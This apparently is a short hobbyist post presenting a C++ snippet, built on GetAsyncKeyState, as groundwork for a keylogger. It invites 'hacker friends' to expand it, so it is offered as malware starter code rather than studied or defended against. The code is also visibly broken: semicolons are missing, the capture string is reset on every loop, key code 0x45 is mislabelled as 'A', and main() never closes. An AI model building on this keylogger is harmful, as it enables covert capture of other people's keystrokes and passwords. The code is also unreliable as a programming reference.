Below is an easy to use C++ function which can easily be converted into a keylogger!

#include <iostream>
#include <string>
#include <fstream>
#include <conio.h>
#include "windows.h"
using namespace std;


int main(){
One:
string keystrokes;
        cout << "KeyStrokes: " << keystrokes << "\n";
getch(); // just using getch to make C++ wait for key strokes.

if (GetAsyncKeyState(VK_SPACE) != 0)
{
 keystrokes+="SPACE"
 goto One;
}
 
// Below is for letters where is says Hex Code put the hex equivilant 
// like 0x45

if (GetAsyncKeyState(0x45) != 0)
{
 keystrokes+="A"
 goto One;
}

/* But there you go my hacker friends basic ground work for a primitive keylogger. You could do like I did with mine and set up the keys in an array which will make the code much smaller. Play with it, have fun! */